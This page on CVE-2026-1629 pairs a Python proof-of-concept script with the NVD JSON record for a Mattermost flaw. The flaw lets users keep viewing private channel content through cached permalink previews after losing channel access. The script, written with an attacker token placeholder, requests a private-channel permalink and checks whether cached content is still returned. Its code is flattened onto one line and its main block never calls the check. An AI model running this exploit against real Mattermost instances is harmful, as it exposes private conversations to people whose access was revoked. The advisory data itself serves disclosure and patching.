CVE-2026-1629

import requests import json # CVE-2026-1629 PoC - Mattermost Permalink Preview Cache Exploitation # This PoC demonstrates the cache invalidation failure when user loses channel access TARGET_URL = "https://your-mattermost-instance.com" ATTACKER_TOKEN = "your-authentication-token" def get_channel_permalink(channel_id, message_id): """Step 1: Get permalink to private channel message""" endpoint = f"{TARGET_URL}/api/v4/channels/{channel_id}/posts/{message_id}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() return data.get("permalink", None) return None def access_cached_permalink(permalink): """Step 2: Access cached permalink after losing channel access""" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(permalink, headers=headers) return response.status_code, response.text def verify_cache_invalidation(channel_id, message_id): """Verify if cached preview still accessible after permission removal""" permalink = get_channel_permalink(channel_id, message_id) if permalink: status, content = access_cached_permalink(permalink) if status == 200 and "private_channel_content" in content: print("[!] VULNERABLE: Cached preview accessible after losing access") return True print("[✓] SECURE: Cache properly invalidated") return False if __name__ == "__main__": print("CVE-2026-1629 PoC - Mattermost Cache Invalidation Failure") print("Target: Mattermost <= 10.11.10") # Configure target channel and message IDs for testing

{"cve": {"id": "CVE-2026-1629", "sourceIdentifier": "[email protected]", "published": "2026-03-16T21:16:19.727", "lastModified": "2026-03-18T13:56:22.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.10 Fail to invalidate cached permalink preview data when a user loses channel access which allows the user to continue viewing private channel content via previously cached permalink previews until cache reset or relogin.. Mattermost Advisory ID: MMSA-2026-00580"}, {"lang": "es", "value": "Las versiones de Mattermost 10.11.x &lt;= 10.11.10 no invalidan los datos de vista previa de enlace permanente en caché cuando un usuario pierde el acceso al canal, lo que permite al usuario seguir viendo contenido de canal privado a través de vistas previas de enlace permanente previamente almacenadas en caché hasta el restablecimiento de la caché o el nuevo inicio de sesión. ID de aviso de Mattermost: MMSA-2026-00580"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-672"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}